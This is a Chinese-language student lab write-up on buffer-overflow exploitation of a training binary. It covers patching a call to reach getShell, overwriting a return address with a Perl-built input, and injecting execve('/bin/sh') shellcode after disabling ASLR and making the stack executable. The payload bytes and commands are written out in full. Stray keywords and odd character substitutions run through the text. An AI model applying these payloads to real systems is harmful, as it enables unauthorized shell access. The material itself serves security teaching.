本次實踐的對象是一個名爲pwn1(實驗中用的
是5327pwnx)的linux可執行文件。
該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。
該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。linux
一、手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
二、利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
三、注入一個本身製做的shellcode並運行這段shellcode。shell
這幾種思路,基本表明現實狀況中的攻擊目標:數據庫
一、運行本來不可訪問的代碼片斷
二、強行修改程序執行流
三、以及注入運行任意代碼。windows
熟悉Linux基本操做能看懂經常使用指令,如管道(|),輸入、輸出重定向(>)等。
sass
理解Bof的原理。
能看得懂彙編、機器指令、EIP、指令地址。
安全
會使用gdb,vi。網絡
輸入指令objdump -d 5327pwn1 | more反彙編5327pwn1文件
dom
由圖main函數中的call 8048491
0x08048491 - 0x0804847d = 0x00000014 (計算地址差)
0xffffffd7 - 0x00000014 = 0xffffffc3 (計算要修改的目標地址)
輸入指令vi 5327pwn1打開文件
文件以ASCII碼的形式出現
輸入 :%!xxd 經過調用命令行,將文件轉換爲16進制查看
使用 /d7 命令尋找e8d7ffffff機器指令所在位置
輸入i進入插入模式,將d7修改成c3
函數
輸入:%!xxd-r將文件轉換爲ASCII碼形式(remember it!)輸入:wq保存並退出
學習
此時輸入指令objdump -d 5327pwn1 | more查看,能夠發現5327pwn1文件已經被修改了
運行5327pwn1文件和5327pwn0文件可看到攻擊成功的效果圖。
5327pwn2正常運行是調用函數foo,可是這個函數有Bufferoverflow漏洞。系統只預留了必定字節的緩衝區給讀入的字符串,超出部分會形成溢出,此實驗目標是覆蓋返回地址。嘗試發現,當輸入爲如下字符時已經發生段錯誤,產生溢出。
輸入指令objdump -d 5327pwn2 查看,計算要達到緩衝區溢出說須要輸入的字符數
由圖推測須要輸入大約32字節接着對其驗證
打開一個終端進入gdb,輸入字符串1111111122222222333333334444444412345555,觀察一下各寄存器的值
從上圖能夠看到eip寄存器中的值爲0x34333231,對應字符串中的1234。
因而可知,若是輸入字符串1111111122222222333333334444444412345555,那 1234 那四個數最終會覆蓋到堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。那隻要把這四個字符替換爲 getshell 的內存地址,輸給5327pwn2,5327pwn2就會運行getshell。
getshell函數的地址爲:0x0804847d,因爲輸入字符串時是以ASCII碼輸入,所以要轉換爲\x7d\x84\x04\x08,並須要使用Perl語言構造文件(Perl是一門解釋型語言,不須要預編譯,能夠在命令行上直接使用)。
輸入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > BOF.1
輸入xxd BOF.1查看內容
經過管道符|,做爲5327pwn2的輸入,格式爲(cat BOF.1; cat ) | ./5327pwn2。
原理:shellcode就是一段機器指令(code),一般這段機器指令的目的是爲獲取一個交互式的shell(像linux的shell或相似windows下的cmd.exe),因此這段機器指令被稱爲shellcode。
在實際的應用中,凡是用來注入的機器指令段都通稱爲shellcode,像添加一個用戶、運行一條指令。
輸入指令apt-get install execstack安裝execstack
並設置堆棧可執行:
execstack -s pwn3 (設置堆棧可執行)
execstack -q pwn3 (查詢文件的堆棧是否可執行)
關閉地址隨機化(若是不關閉的話,每次操做esp的地址都會發生變化)
more /proc/sys/kernel/randomize_va_space (查看隨機化是否關閉)
echo "0" > /proc/sys/kernel/randomize_va_space(關閉隨機化)
(「2」爲開啓,「0」爲關閉)
這時須要注入一段代碼,咱們首先構造一個input_shellcode:
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
在一個窗口運行(cat input_shellcode;cat) | ./5327pwn3
在另一個窗口ps -ef | grep pwn能看見當前運行5327pwn3的進程號爲36054;
在gdb裏面attach 36054進行調試
disassemble foo反編譯
能夠看到ret指令的地址爲0x080484ae,在此處設置斷點break *0x080484ae
在另外一個終端按回車,這樣程序就會執行以後在斷點處停下來
再在gdb調試的終端輸入 c 繼續運行程序
info r esp查看esp寄存器地址
經過x/16x 0xffffd2fc以16進制形式查看0xffffd2fc地址後面16字節的內容
從上圖中看到01020304所在的地址爲0xffffd2fc,那麼注入的shellcode代碼的地址應該在該ret指令地址後四個字節的位置,即0xffffd2fc + 0x00000004 = 0xffffd300。隨後退出gdb調試。
修改注入代碼的覆蓋地址
perl -e 'print "A" x 32;print"\x00\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
輸入命令(cat input_shellcode;cat) | ./5327pwn3
由圖可見注入shellcode成功
很弱智的問題,開始一時慌張無從下手,後來才知道根據提示直接走就行。
收穫:週一看老師演示了一遍,只知其一;不知其二,如今本身跟着教程走了一遍更加熟悉了一點。可是要想真正理解還須要繼續探索。 什麼是漏洞?漏洞有什麼危害? 漏洞:潛在的危險區域。存在於計算機系統中(硬件、軟件、數據庫、網絡……)的、可能對系統中的組成和數據等形成損害的一切因素。 危害:對計算機:讓程序、計算機沒法正常運行甚至崩潰;對我的:使我的信息收到侵害,數據信息泄露、沒法正常生活;對國家社會:使得國家安全收到威脅,社會治安得不到保證。